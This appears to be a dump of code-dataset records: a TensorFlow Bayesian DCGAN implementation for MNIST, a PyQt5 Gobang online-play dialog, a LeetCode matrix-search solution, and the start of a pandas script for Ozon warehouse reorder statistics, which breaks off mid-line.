[ks];\r\n\r\n num_gfs = num_gfs + [self.channels];\r\n\r\n # Add shape of weights for convolution layer\r\n for layer in range(len(g_strides))[::-1]:\r\n self.G_output_dims[\"g_h\"+str(layer+1)+\"_out\"] = (g_h, g_w);\r\n\r\n assert g_strides[layer] <=2, \"Invalid Stride\";\r\n assert ks % 2 == 1, \"Invalid Kernel Size\";\r\n\r\n self.G_weight_dims[\"g_h\"+str(layer+1)+\"_W\"] = (ks, ks, num_gfs[layer+1], num_gfs[layer]);\r\n self.G_weight_dims[\"g_h\" + str(layer + 1) + \"_b\"] = (num_gfs[layer+1],);\r\n g_h, g_w = conv_out_size(g_h, g_strides[layer]), conv_out_size(g_w, g_strides[layer]);\r\n ks = kernel_sizer(ks, g_strides[layer]);\r\n self.G_kernel_sizes.append(ks);\r\n\r\n # Add shape of weights for a full connected layer\r\n self.G_weight_dims.update(OrderedDict([(\"g_h0_lin_W\", (self.z_dim, num_gfs[0] * g_h * g_w)),\r\n (\"g_h0_lin_b\", (num_gfs[0] * g_h * g_w,))]))\r\n\r\n self.G_output_dims[\"g_h0_out\"] = (g_h, g_w);\r\n\r\n\r\n # Discriminator\r\n d_h, d_w = self.x_dim[0], self.x_dim[1];\r\n num_dfs = [self.channels] + num_dfs;\r\n\r\n ks = d_kernel_size;\r\n self.D_kernel_sizes = [ks];\r\n\r\n for layer in range(len(d_strides)):\r\n assert d_strides[layer]<=2, \"Invalid Stride\";\r\n assert ks % 2 == 1, \"Invalid Kernel Size\";\r\n\r\n self.D_weight_dims[\"d_h\"+str(layer)+\"_W\"] = (ks, ks, num_dfs[layer], num_dfs[layer+1]);\r\n self.D_weight_dims[\"d_h\"+str(layer)+\"_b\"] = (num_dfs[layer+1],);\r\n d_h, d_w = conv_out_size(d_h, d_strides[layer]), conv_out_size(d_w, d_strides[layer]);\r\n ks = kernel_sizer(ks, d_strides[layer]);\r\n self.D_kernel_sizes.append(ks);\r\n\r\n self.D_weight_dims.update(OrderedDict([(\"d_h_end_lin_W\", (num_dfs[-1] * d_h * d_w, num_dfs[-1])),\r\n (\"d_h_end_lin_b\", (num_dfs[-1],)),\r\n (\"d_h_out_lin_W\", (num_dfs[-1], self.K)),\r\n (\"d_h_out_lin_b\", (self.K,))]))\r\n\r\n def Discriminator(self, image, K, d_params, train=True):\r\n \"\"\"\r\n Image\r\n => (Convolution => Batch Norm => Leaky ReLU)\r\n => (Convolution => Batch Norm => Leaky ReLU)\r\n => ......\r\n => Full connected => Leaky ReLU : h_end\r\n => Full connected : h_out = logit\r\n => output : softmax(h_out) = prob\r\n :param image: image data\r\n :param K: output size of D (unsupervised : 2)\r\n :param d_params: Discriminator parameters for training/evaluation\r\n :param train: True for train(update the params) (why? Batch norm)\r\n :return: softmax(h_out), h_out, [h_end]\r\n \"\"\"\r\n\r\n with tf.variable_scope(\"discriminator\",reuse=tf.AUTO_REUSE) as scope:\r\n\r\n h = image;\r\n\r\n\r\n for layer in range(len(self.D_strides)):\r\n\r\n # self.D_weight_dims[layer_W] : (kernel_h, kernel_w, features in layer+1, features in layer)\r\n if layer == 0:\r\n h = tf.nn.leaky_relu(conv2d(h,\r\n self.D_weight_dims[\"d_h\" + str(layer) + \"_W\"][-1],\r\n name=\"d_h\" + str(layer) + \"_conv\",\r\n k_h=self.D_kernel_sizes[layer],\r\n k_w=self.D_kernel_sizes[layer],\r\n d_h=self.D_strides[layer],\r\n d_w=self.D_strides[layer],\r\n w=d_params[\"d_h\" + str(layer) + \"_W\"],\r\n biases=d_params[\"d_h\" + str(layer) + \"_b\"]));\r\n else:\r\n h = tf.nn.leaky_relu(self.D_batch_norm[\"d_bn\"+str(layer)](\r\n conv2d(h,\r\n self.D_weight_dims[\"d_h\" + str(layer) + \"_W\"][-1],\r\n name=\"d_h\" + str(layer) + \"_conv\",\r\n k_h=self.D_kernel_sizes[layer],\r\n k_w=self.D_kernel_sizes[layer],\r\n d_h=self.D_strides[layer],\r\n d_w=self.D_strides[layer],\r\n w=d_params[\"d_h\" + str(layer) + \"_W\"],\r\n biases=d_params[\"d_h\" + str(layer) + \"_b\"]),train=train));\r\n\r\n\r\n h_end = tf.nn.leaky_relu(linear(input_=tf.reshape(h, [self.batch_size, -1]),\r\n output_size=self.d_filter*4,\r\n scope=\"d_h_end_lin\",\r\n matrix=d_params.d_h_end_lin_W,\r\n bias=d_params.d_h_end_lin_b));\r\n h_out = linear(input_=h_end, output_size=K,\r\n scope=\"d_h_out_lin\",\r\n matrix=d_params.d_h_out_lin_W, bias=d_params.d_h_out_lin_b);\r\n\r\n return tf.nn.softmax(h_out), h_out, [h_end];\r\n\r\n def Generator(self, z, g_params):\r\n \"\"\"\r\n Noise\r\n => Full connected\r\n => (Transpose Convolution => Batch norm => ReLU)\r\n => (Transpose Convolution => Batch norm => ReLU)\r\n => ......\r\n => Transpose Convolution\r\n => tanh(h)\r\n :param z: input noise\r\n :param g_params: Generator parameters for training/evaluation\r\n :return: generated image\r\n \"\"\"\r\n\r\n with tf.variable_scope(\"generator\",reuse=tf.AUTO_REUSE) as scope:\r\n h = linear(input_=z, output_size=self.G_weight_dims[\"g_h0_lin_W\"][-1],\r\n scope=\"g_h0_lin\", matrix=g_params.g_h0_lin_W, bias=g_params.g_h0_lin_b);\r\n h = tf.nn.relu(self.G_batch_norm.g_bn0(h));\r\n\r\n h = tf.reshape(h, [self.batch_size, self.G_output_dims[\"g_h0_out\"][0],\r\n self.G_output_dims[\"g_h0_out\"][1], -1]);\r\n\r\n for layer in range(1, len(self.G_strides)+1):\r\n # self.G_weight_dims[layer_W] : (kernel_h, kernel_w, features in layer+1, features in layer)\r\n # self.G_output_dims[layer] : (output_h, output_w)\r\n # out_shape = [batch, output_h, output_w, features in next layer]\r\n out_shape = [self.batch_size, self.G_output_dims[\"g_h\"+str(layer)+\"_out\"][0],\r\n self.G_output_dims[\"g_h\" + str(layer) + \"_out\"][1],\r\n self.G_weight_dims[\"g_h\"+str(layer)+\"_W\"][-2]];\r\n\r\n h = deconv2d(input_=h,\r\n output_shape=out_shape,\r\n k_h=self.G_kernel_sizes[layer-1], k_w=self.G_kernel_sizes[layer-1],\r\n d_h=self.G_strides[layer-1], d_w=self.G_strides[layer-1],\r\n name=\"g_h\"+str(layer),\r\n w=g_params[\"g_h\"+str(layer)+\"_W\"],\r\n biases=g_params[\"g_h\"+str(layer)+\"_b\"]);\r\n\r\n if layer < len(self.G_strides):\r\n h = tf.nn.relu(self.G_batch_norm[\"g_bn\"+str(layer)](h));\r\n\r\n\r\n return tf.nn.tanh(h);\r\n\r\n\r\n def _get_optimizer(self, lr):\r\n if self.optimizer == 'adam':\r\n return tf.train.AdamOptimizer(learning_rate=lr, beta1=0.5);\r\n elif self.optimizer =='sgd':\r\n return tf.train.MomentumOptimizer(learning_rate=lr, momentum=0.5);\r\n else:\r\n raise ValueError(\"Optimizer must be either 'adam' or 'sgd'\");\r\n\r\n\r\n def initialize_weights(self, scope_str):\r\n \"\"\" Initialize the weights with normal distribution\r\n To use SGHMC algorithm, there are (# MC samples)*(# SGHMC samples) set of\r\n parameters in G/D\r\n :param scope_str: 'generator' or 'discriminator'\r\n :return: parameters list\r\n \"\"\"\r\n\r\n if scope_str == \"generator\":\r\n weight_dims = self.G_weight_dims;\r\n numz = self.num_G\r\n elif scope_str == \"discriminator\":\r\n weight_dims = self.D_weight_dims;\r\n numz = self.num_D\r\n else:\r\n raise RuntimeError(\"invalid scope! : 'generator' or 'discriminator' \");\r\n\r\n param_list = [];\r\n\r\n with tf.variable_scope(scope_str,reuse=tf.AUTO_REUSE) as scope:\r\n # numz : MC samples\r\n for i in range(numz):\r\n # num_mcmc : SGHMC samples\r\n for m in range(self.num_mcmc):\r\n wgts = AttributeDict();\r\n for name, shape in weight_dims.items():\r\n wgts[name] = tf.get_variable(\"%s_%04d_%04d\" %(name, i, m),\r\n shape,\r\n initializer=tf.random_normal_initializer(stddev=0.02));\r\n param_list.append(wgts);\r\n\r\n return param_list;\r\n\r\n def build_graph(self):\r\n \"\"\"\r\n Make BDCGAN graph\r\n \"\"\"\r\n\r\n \"\"\" Make input placeholders for D and G\"\"\"\r\n self.inputs = tf.placeholder(tf.float32,\r\n [self.batch_size] + self.x_dim,\r\n name=\"real_images\");\r\n\r\n self.z = tf.placeholder(tf.float32,\r\n [self.batch_size, self.z_dim, self.num_G], name=\"z\");\r\n self.z_sampler = tf.placeholder(tf.float32,\r\n [self.batch_size, self.z_dim], name=\"z_sampler\");\r\n\r\n \"\"\" Initialize Generator/Discriminator weights \"\"\"\r\n self.G_param_list = self.initialize_weights(\"generator\");\r\n self.D_param_list = self.initialize_weights(\"discriminator\");\r\n\r\n \"\"\" Algorithm 1 : Second Iteration - Update params in D's\r\n - 1) Make a list of variables of all D's to train\r\n - 2) Make a list of learning rate \r\n \"\"\"\r\n self.D_learning_rate = tf.placeholder(tf.float32, shape=[]);\r\n\r\n train_vars = tf.trainable_variables();\r\n self.D_vars = [];\r\n\r\n for i in range(self.num_D):\r\n for m in range(self.num_mcmc):\r\n self.D_vars.append(\r\n [var for var in train_vars if 'd_' in var.name and \"_%04d_%04d\" % (i, m) in var.name]);\r\n\r\n\r\n\r\n \"\"\" Algorithm 1 : Second Iteration - Update params in D's\r\n - Make d_losses and optimizers\r\n \"\"\"\r\n\r\n self.d_losses, self.d_train_ops, self.d_train_ops_adam = [], [], [];\r\n\r\n\r\n for di, d_params in enumerate(self.D_param_list):\r\n d_probs, d_logits, _ = self.Discriminator(self.inputs, self.K, d_params);\r\n\r\n\r\n # const_label[:, 1] = 1.0 <= data sampled from the real distribution\r\n const_labels = np.zeros((self.batch_size, self.K));\r\n const_labels[:, 1] = 1.0;\r\n\r\n # d_loss_real : same for DCGAN\r\n d_loss_real = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(\r\n logits=d_logits, labels=tf.constant(const_labels)\r\n ));\r\n\r\n\r\n d_loss_fakes = [];\r\n \"\"\" Algorithm 1 : Second Iteration \r\n - sum_{i,k} p(theta_d|z^{(i)}, theta_d^{k,m})\r\n \"\"\"\r\n for gi, g_params in enumerate(self.G_param_list):\r\n # D(G(z))\r\n d_probs, d_logits, _ = self.Discriminator(self.Generator(self.z[:, :, gi % self.num_G], g_params),\r\n self.K, d_params);\r\n # const_label[:, 0]=0.0 <= data sample from the fake distribution\r\n const_labels = np.zeros((self.batch_size, self.K));\r\n const_labels[:, 0] = 1.0;\r\n\r\n # d_fake_loss_ : same for DCGAN\r\n # : there are J_G*num_MCMC(total number of G) d_fake_loss for each discriminator\r\n d_loss_fake_ = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(\r\n logits=d_logits, labels=tf.constant(const_labels)\r\n ));\r\n\r\n d_loss_fakes.append(d_loss_fake_);\r\n\r\n\r\n d_losses = [];\r\n for d_loss_fake_ in d_loss_fakes:\r\n # d_loss = d_real + d_loss in DCGAN\r\n # there is only one d_loss_real\r\n # there are num_G d_loss_fake\r\n # => d_loss_real*float(self.num_G)\r\n d_loss_ = d_loss_real*float(self.num_G) + d_loss_fake_;\r\n\r\n\r\n if not self.DCGAN:\r\n # SGHMC part : Add prior and noise\r\n d_loss_ += self.D_prior(d_params) + self.D_noise(d_params);\r\n\r\n d_losses.append(tf.reshape(d_loss_, [1]));\r\n\r\n \"\"\"\r\n tf.reduce_logsumexp(input_tensor, axis)\r\n : log(sum(exp(elements across dimensions of a tensor)))\r\n \"\"\"\r\n d_loss = tf.reduce_logsumexp(tf.concat(d_losses, 0));\r\n\r\n self.d_losses.append(d_loss);\r\n\r\n d_optimizer = self._get_optimizer(self.D_learning_rate);\r\n self.d_train_ops.append(\r\n d_optimizer.minimize(d_loss, var_list=self.D_vars[di]));\r\n d_optimizer_adam = tf.train.AdamOptimizer(learning_rate=self.D_learning_rate,\r\n beta1=0.5);\r\n self.d_train_ops_adam.append(\r\n d_optimizer_adam.minimize(d_loss, var_list=self.D_vars[di]));\r\n\r\n\r\n \"\"\" REPEAT THE CODE for Algorithm 1 : Second Iteration w.r.t G\"\"\"\r\n \"\"\" Algorithm 1 : First Iteration - Update params in G's\r\n - 1) Make a list of variables of all G's to train\r\n - 2) Make a list of learning rate \r\n \"\"\"\r\n self.G_learning_rate = tf.placeholder(tf.float32, shape=[]);\r\n self.G_vars = [];\r\n\r\n for i in range(self.num_G):\r\n for m in range(self.num_mcmc):\r\n self.G_vars.append(\r\n [var for var in train_vars if 'g_' in var.name and \"_%04d_%04d\" % (i, m) in var.name]);\r\n\r\n \"\"\" Algorithm 1 : First Iteration - Update params in G's\r\n - Make g_losses and optimizers\r\n \"\"\"\r\n self.g_losses, self.g_train_ops, self.g_train_ops_adam = [], [], [];\r\n\r\n for gi, g_params in enumerate(self.G_param_list):\r\n gi_losses = [];\r\n\r\n for d_params in self.D_param_list:\r\n # D(G(z))\r\n d_prob, d_logit, d_feature_fake = self.Discriminator(\r\n self.Generator(self.z[:, :, gi % self.num_G], g_params),\r\n self.K, d_params\r\n );\r\n _, _, d_feature_real = self.Discriminator(self.inputs, self.K, d_params);\r\n\r\n # const_label[:, 1] = 1.0 <= data sampled from the real distribution\r\n const_labels = np.zeros((self.batch_size, self.K));\r\n const_labels[:, 1] = 1.0;\r\n\r\n # g_loss_ : classic loss\r\n g_loss_ = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(\r\n logits=d_logit, labels=tf.constant(const_labels)\r\n ));\r\n\r\n g_loss_ += tf.reduce_mean(\r\n huber_loss(d_feature_real[-1], d_feature_fake[-1]));\r\n\r\n if not self.DCGAN:\r\n # SGHMC part : Add prior and noise\r\n g_loss_ += self.G_prior(g_params) + self.G_noise(g_params);\r\n\r\n gi_losses.append(tf.reshape(g_loss_, [1]));\r\n\r\n \"\"\"\r\n tf.reduce_logsumexp(input_tensor, axis)\r\n : log(sum(exp(elements across dimensions of a tensor)))\r\n \"\"\"\r\n g_loss = tf.reduce_logsumexp(tf.concat(gi_losses, 0));\r\n self.g_losses.append(g_loss);\r\n\r\n g_optimizer = self._get_optimizer(self.G_learning_rate);\r\n self.g_train_ops.append(\r\n g_optimizer.minimize(g_loss, var_list=self.G_vars[gi]));\r\n\r\n g_optimizer_adam = tf.train.AdamOptimizer(learning_rate=self.G_learning_rate,\r\n beta1=0.5);\r\n self.g_train_ops_adam.append(\r\n g_optimizer_adam.minimize(g_loss, var_list=self.G_vars[gi]));\r\n\r\n\r\n\r\n\r\n \"\"\" Make samplers \"\"\"\r\n self.G_sampler = [];\r\n\r\n for gi, g_params in enumerate(self.G_param_list):\r\n self.G_sampler.append(self.Generator(self.z_sampler, g_params));\r\n\r\n \"\"\" For g_loss and d_loss (Bayesian)\"\"\"\r\n\r\n def G_prior(self, g_params):\r\n \"\"\"\r\n Let W be a weight parameter in g_params\r\n W_normal = W/prior_std (element wise)\r\n loss_W = average sum of square of entries of W_normal\r\n\r\n prior_loss = sum of loss_W along W : params in g_params\r\n\r\n \"\"\"\r\n with tf.variable_scope(\"generator\",reuse=tf.AUTO_REUSE) as scope:\r\n prior_loss = 0.0;\r\n for var in g_params.values():\r\n nn = tf.divide(var, self.prior_std);\r\n prior_loss += tf.reduce_mean(tf.multiply(nn, nn));\r\n\r\n prior_loss /= self.dataset_size;\r\n\r\n return prior_loss;\r\n\r\n def G_noise(self, g_params):\r\n \"\"\"\r\n A noise for SGHMC\r\n : noise is sampled from N(0, self.noise_std)\r\n where self.noise_std = np.sqrt(2 * self.alpha * self.eta) (in Algorithm 1)\r\n\r\n To use gradient descent,\r\n define noise_loss = W*noise where W is a parameter in g_params\r\n \"\"\"\r\n with tf.variable_scope(\"generator\",reuse=tf.AUTO_REUSE) as scope:\r\n noise_loss = 0.0;\r\n\r\n for name, var in g_params.items():\r\n # noise_ ~ N(0, noise_std*shape of var)\r\n # noise_.sample() : a single sample from the noise\r\n noise_ = tf.contrib.distributions.Normal(loc=0., scale=self.noise_std*tf.ones(var.get_shape()));\r\n noise_loss += tf.reduce_mean(var*noise_.sample());\r\n\r\n noise_loss /= self.dataset_size;\r\n return noise_loss;\r\n\r\n def D_prior(self, d_params):\r\n with tf.variable_scope(\"discriminator\",reuse=tf.AUTO_REUSE) as scope:\r\n prior_loss = 0.0;\r\n for var in d_params.values():\r\n nn = tf.divide(var, self.prior_std);\r\n prior_loss += tf.reduce_mean(tf.multiply(nn, nn));\r\n\r\n prior_loss /= self.dataset_size;\r\n\r\n return prior_loss;\r\n\r\n def D_noise(self, d_params):\r\n \"\"\"\r\n A noise for SGHMC\r\n : noise is sampled from N(0, self.noise_std)\r\n where self.noise_std = np.sqrt(2 * self.alpha * self.eta) (in Algorithm 1)\r\n\r\n To use gradient descent,\r\n define noise_loss = W*noise where W is a parameter in g_params\r\n \"\"\"\r\n with tf.variable_scope(\"discriminator\",reuse=tf.AUTO_REUSE) as scope:\r\n noise_loss = 0.0;\r\n\r\n for name, var in d_params.items():\r\n # noise_ ~ N(0, noise_std*shape of var)\r\n # noise_.sample() : a single sample from the noise\r\n noise_ = tf.contrib.distributions.Normal(loc=0., scale=self.noise_std * tf.ones(var.get_shape()));\r\n noise_loss += tf.reduce_mean(var * noise_.sample());\r\n\r\n noise_loss /= self.dataset_size;\r\n return noise_loss;\r\n\r\n \"\"\" Information for the Network \"\"\"\r\n def print_Weight_info(self):\r\n print(\"===============================================================\")\r\n print(\" Generator \");\r\n print(\" 1. Weight dims\");\r\n for k, v in self.G_weight_dims.items():\r\n print(\"{} : \".format(k), end=\" \");\r\n print(v);\r\n print(\" 2. kernel size \");\r\n print(self.G_kernel_sizes);\r\n\r\n print(\" 3. output dims \");\r\n for k, v in self.G_output_dims.items():\r\n print(\"{} : \".format(k), end=\" \");\r\n print(v);\r\n\r\n print(\" 4. num_gfs \");\r\n print(self.num_g_features)\r\n print(\"===============================================================\")\r\n print(\" Discriminator\");\r\n print(\" 1. Weight dims\");\r\n for k, v in self.D_weight_dims.items():\r\n print(\"{} : \".format(k), end=\" \");\r\n print(v);\r\n print(\" 2. kernel size \");\r\n print(self.D_kernel_sizes);\r\n\r\n print(\" 3. num_dfs\")\r\n print(self.num_d_features);\r\n print(\"===============================================================\")\r\n\r\n\r\n\r\n\r\n\r\ndef get_session_MNIST():\r\n if tf.get_default_session() is None:\r\n print(\"Create new session\");\r\n tf.reset_default_graph();\r\n _SESSION = tf.InteractiveSession();\r\n else:\r\n print(\"Use old session\");\r\n _SESSION = tf.get_default_session();\r\n\r\n return _SESSION;\r\n\r\n\r\n\r\ndef BGAN_example_MNIST():\r\n \"\"\" Set the path to save the result\"\"\"\r\n data = \"/MNIST/\";\r\n path = \"./GAN/BDCGAN/\" + data;\r\n model_path = path + \"model/\";\r\n fig_path = path + \"image/\";\r\n\r\n if not os.path.exists(model_path):\r\n os.makedirs(model_path);\r\n\r\n if not os.path.exists(fig_path):\r\n os.makedirs(fig_path);\r\n\r\n z_dim = 100;\r\n g_filters = 64;\r\n d_filters = 96;\r\n batch_size = 64;\r\n num_layer = 4;\r\n J = 10; # number of samples of z/generators\r\n J_d = 1; # number of discriminator weight samples\r\n num_mcmc = 2;\r\n\r\n\r\n\r\n train_iter = 75000;\r\n base_lr = 0.005;\r\n lr_decay = 3.0;\r\n optimizer = 'sgd'\r\n\r\n n_save = 100;\r\n\r\n dataset = MNIST();\r\n x_dim = dataset.x_dim;\r\n datasize = dataset.dataset_size;\r\n\r\n random_seed = 2222;\r\n\r\n session = get_session_MNIST();\r\n tf.set_random_seed(random_seed);\r\n\r\n dcgan = BDCGAN(x_dim=x_dim, z_dim=z_dim,\r\n batch_size=batch_size,dataset_size=datasize,\r\n g_filter=g_filters, d_filter=d_filters,\r\n J=J, J_d=J_d, M=num_mcmc, num_layer=num_layer,\r\n lr=base_lr, optimizer=optimizer);\r\n\r\n print(\"BDCGAN : \");\r\n dcgan.print_Weight_info();\r\n\r\n print(\"Start session\");\r\n session.run(tf.global_variables_initializer());\r\n\r\n optimizer_dict = {\"D\":dcgan.d_train_ops_adam,\r\n \"G\":dcgan.g_train_ops_adam};\r\n\r\n num_D = J_d;\r\n saver = tf.train.Saver();\r\n\r\n for itr in range(train_iter):\r\n\r\n if itr == 5000:\r\n print(\"Switching to user-specified optimizer\");\r\n optimizer_dict = {\"D\":dcgan.d_train_ops,\r\n \"G\":dcgan.g_train_ops};\r\n\r\n learning_rate = base_lr*np.exp(-lr_decay*min(1.0, (itr*batch_size)/float(datasize)));\r\n\r\n image_batch, _ = dataset.next_batch(batch_size, class_id=None);\r\n\r\n # Compute d_loss\r\n batch_z = np.random.uniform(-1, 1, [batch_size, z_dim, dcgan.num_G]);\r\n d_info = session.run(optimizer_dict[\"D\"] + dcgan.d_losses,\r\n feed_dict={dcgan.inputs: image_batch,\r\n dcgan.z: batch_z,\r\n dcgan.D_learning_rate: learning_rate});\r\n\r\n d_losses = d_info[num_D:num_D*2];\r\n\r\n # Compute g_loss\r\n batch_z = np.random.uniform(-1, 1, [batch_size, z_dim, dcgan.num_G]);\r\n g_info = session.run(optimizer_dict[\"G\"] + dcgan.g_losses,\r\n feed_dict={dcgan.z: batch_z,\r\n dcgan.inputs: image_batch,\r\n dcgan.G_learning_rate: learning_rate});\r\n g_losses = [g_ for g_ in g_info if g_ is not None];\r\n\r\n\r\n if itr > 0 and itr % n_save == 0:\r\n print(\"Iteration: {}\".format(itr));\r\n print(\"D loss : \");\r\n print(d_losses);\r\n print(\"G loss : \");\r\n print(g_losses);\r\n\r\n # results = {\"d_losses\": map(float, d_losses),\r\n # \"g_losses\": map(float, g_losses),\r\n # \"timestamp\": time.time()};\r\n\r\n saver.save(session, model_path+\"model_\" + str(itr) + \".ckpt\");\r\n\r\n for zi in range(dcgan.num_G):\r\n _imgs, _ps = [], [];\r\n\r\n for _ in range(10):\r\n z_sampler = np.random.uniform(-1, 1, size=(batch_size, z_dim));\r\n sampled_imgs = session.run(dcgan.G_sampler[zi*dcgan.num_mcmc],\r\n feed_dict={dcgan.z_sampler: z_sampler});\r\n _imgs.append(sampled_imgs);\r\n\r\n sampled_imgs = np.concatenate(_imgs);\r\n print_images(sampled_imgs,\r\n \"BDCGAN_%i_%.2f\" % (zi, g_losses[zi * dcgan.num_mcmc]),\r\n itr, fig_path);\r\n\r\n print_images(image_batch, \"RAW\", itr, fig_path);\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n print(\"My DCGAN\");\r\n X = BDCGAN([28, 28, 1], 128, 60000, 64, g_filter=64, d_filter=96);\r\n # #X = BDCGAN([28, 28, 1], 128, 60000, 64, g_filter=64, d_filter=64);\r\n X.print_Weight_info();\r\n #BGAN_example_MNIST()\r\n","repo_name":"yoonjeong-choi-dev/study-history","sub_path":"AI/BayesianGAN/myBDCGAN.py","file_name":"myBDCGAN.py","file_ext":"py","file_size_in_byte":45221,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"42278597278","text":"'''\nFunction:\n 定义联机对战\nAuthor:\n Charles\n微信公众号:\n Charles的皮卡丘\n'''\nimport sys\nimport random\nfrom .server import *\nfrom .client import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\n\n\n'''联机对战'''\nclass PlayOnlineUI(QWidget):\n def __init__(self, cfg, home_ui, parent=None, **kwargs):\n super(PlayOnlineUI, self).__init__(parent)\n self.cfg = cfg\n self.home_ui = home_ui\n self.setWindowTitle('联机对战')\n self.setWindowIcon(QIcon(cfg.ICON_FILEPATH))\n self.setFixedSize(300, 200)\n # 昵称\n self.nickname = random.choice(['杰尼龟', '皮卡丘', '小火龙', '小锯鳄', '妙蛙种子', '菊草叶'])\n self.layout0 = QHBoxLayout()\n self.nickname_label = QLabel('游戏昵称:', self)\n self.nickname_edit = QLineEdit(self)\n self.nickname_edit.setText(self.nickname)\n self.layout0.addWidget(self.nickname_label, 1)\n self.layout0.addWidget(self.nickname_edit, 3)\n # IP\n self.target_ip = '127.0.0.1'\n self.layout1 = QHBoxLayout()\n self.ip_label = QLabel('对方IP:', self)\n self.ip_edit = QLineEdit(self)\n self.ip_edit.setText(self.target_ip)\n self.layout1.addWidget(self.ip_label, 1)\n self.layout1.addWidget(self.ip_edit, 3)\n # 按钮\n self.layout2 = QHBoxLayout()\n self.connect_button = QPushButton('作为客户端', self)\n self.connect_button.clicked.connect(self.becomeClient)\n self.ashost_button = QPushButton('作为服务器', self)\n self.ashost_button.clicked.connect(self.becomeHost)\n self.layout2.addWidget(self.connect_button)\n self.layout2.addWidget(self.ashost_button)\n # 布局\n self.layout = QVBoxLayout()\n self.layout.addLayout(self.layout0)\n self.layout.addLayout(self.layout1)\n self.layout.addLayout(self.layout2)\n self.setLayout(self.layout)\n '''作为客户端'''\n def becomeClient(self):\n self.close()\n self.nickname = self.nickname_edit.text()\n self.target_ip = self.ip_edit.text()\n self.client_ui = GobangClient(cfg=self.cfg, nickname=self.nickname, server_ip=self.target_ip)\n self.client_ui.exit_signal.connect(lambda: sys.exit())\n self.client_ui.back_signal.connect(self.home_ui.show)\n self.client_ui.show()\n '''作为服务器'''\n def becomeHost(self):\n self.close()\n self.nickname = self.nickname_edit.text()\n self.server_ui = GobangSever(cfg=self.cfg, nickname=self.nickname)\n self.server_ui.exit_signal.connect(lambda: sys.exit())\n self.server_ui.back_signal.connect(self.home_ui.show)\n self.server_ui.show()","repo_name":"CharlesPikachu/Games","sub_path":"cpgames/core/games/gobang/modules/online/playonline.py","file_name":"playonline.py","file_ext":"py","file_size_in_byte":2773,"program_lang":"python","lang":"en","doc_type":"code","stars":4711,"dataset":"github-code","pt":"68"}
+{"seq_id":"5803009663","text":"'''\nWrite an efficient algorithm that searches for a value target in an m x n integer matrix matrix. This matrix has the following properties:\n\n Integers in each row are sorted from left to right.\n The first integer of each row is greater than the last integer of the previous row.\n\nConstraints:\n m == matrix.length\n n == matrix[i].length\n 1 <= m, n <= 100\n -10^4 <= matrix[i][j], target <= 10^4\n'''\n\nclass Solution:\n def searchMatrix(self, matrix: list[list[int]], target: int) -> bool:\n for row in matrix:\n if target >= row[0] and target <= row[-1]:\n return target in row\n\n# Tests\nsoln = Solution()\nprint(soln.searchMatrix([[1,3,5,7],[10,11,16,20],[23,30,34,60]], 3)) # True\nprint(soln.searchMatrix([[1,3,5,7],[10,11,16,20],[23,30,34,60]], 13)) # False\n\n# Runtime: 67ms\n# Memory: 14.3 MB","repo_name":"salsinan/algorithms","sub_path":"Python/search_matrix.py","file_name":"search_matrix.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"18152153985","text":"from typing import TypeVar\n\nimport pandas as pd\nimport numpy as np\nimport arrow\nfrom pydantic import BaseModel, Field\n\nfrom data.ozon_methods import get_warehouses_data, get_orders_data\n\n\nPandasDataFrame = TypeVar('pandas.core.frame.DataFrame')\n\n\nclass StatWarehouse(BaseModel):\n data_ekb: PandasDataFrame = Field(title=\"prepare_ekb\")\n data_msk: PandasDataFrame = Field(title=\"prepare_msk\")\n\n\nekb_wh_name = \"ЕКАТЕРИНБУРГ\"\nmsk_wh_name = \"ХОРУГВИНО\"\ndict_optimal_wh_value = {ekb_wh_name: 3, msk_wh_name: 5}\nkoeff_dict = {1: 1.3, 2: 1.3, 3: 1.3, 4: 1.2, 5: 1.1, 6: 1.1, 7: 1.1, 8: 1.1, 9: 1.2, 10: 1.3, 11: 1.4, 12: 1.4}\n\n\ndef filter_orders(df, warehouse, count_months=1, status_filter=('cancelled',)):\n data_filter = int(arrow.utcnow().shift(months=-count_months).timestamp())\n return df[\n (df.order_datetime > data_filter) & ~df.status.isin(status_filter) & df.warehouse.str.contains(warehouse)\n ].reset_index(drop=True)\n\n\ndef filter_wh(df, warehouse):\n return df[df.warehouse_name.str.contains(warehouse)].reset_index(drop=True)\n\n\ndef get_stat_by_wh(orders_df, wh_df, warehouse_name):\n orders_wh = filter_orders(orders_df, warehouse_name).groupby(\n ['name', 'artikul']\n )[['quantity']].agg('sum').reset_index()\n\n orders_wh.columns = ['name', 'artikul', 'saled']\n wh_by_name = filter_wh(wh_df, warehouse_name)\n wh_by_name.columns = ['warehouse_name', 'name', 'artikul', 'in_ozon']\n df = pd.merge(orders_wh, wh_by_name, on=\"artikul\", how=\"outer\").sort_values(\"artikul\")\n df.name_y.fillna(df.name_x, inplace=True)\n df['optimal'] = float(dict_optimal_wh_value[warehouse_name])\n df = df[['warehouse_name', 'artikul', 'name_y', 'optimal', 'in_ozon', 'saled']].fillna(0).reset_index(drop=True)\n df.columns = ['warehouse_name', 'artikul', 'name', 'optimal', 'in_ozon', 'saled']\n df.warehouse_name = warehouse_name\n return df.fillna(0)\n\n\ndef prepare_to_buy(df, number_month: int = 5):\n koeff = koeff_dict[number_month]\n df['to_buy'] = 0.0\n df['after_delivery'] = 0.0\n\n df.to_buy = ((df.saled * koeff).apply(np.ceil) - df.in_ozon).clip(lower=0.0)\n df.after_delivery = df.in_ozon + df.to_buy\n\n df[df.after_delivery < df.optimal].to_buy = (df.optimal - df.after_delivery + df.to_buy).clip(lower=0.0)\n df[df.after_delivery < df.saled].to_buy = (df.saled * koeff - df.in_ozon).clip(lower=0.0)\n df.drop(columns=[\"after_delivery\"], inplace=True)\n return df\n\n\ndef get_prepared_data(df_orders, df_wh, wh_name):\n stat = get_stat_by_wh(df_orders, df_wh, wh_name)\n return prepare_to_buy(stat, arrow.now().month)\n\n\ndef get_data_by_warehouse() -> StatWarehouse:\n wh_data = get_warehouses_data()\n orders = get_orders_data()\n\n df_wh = 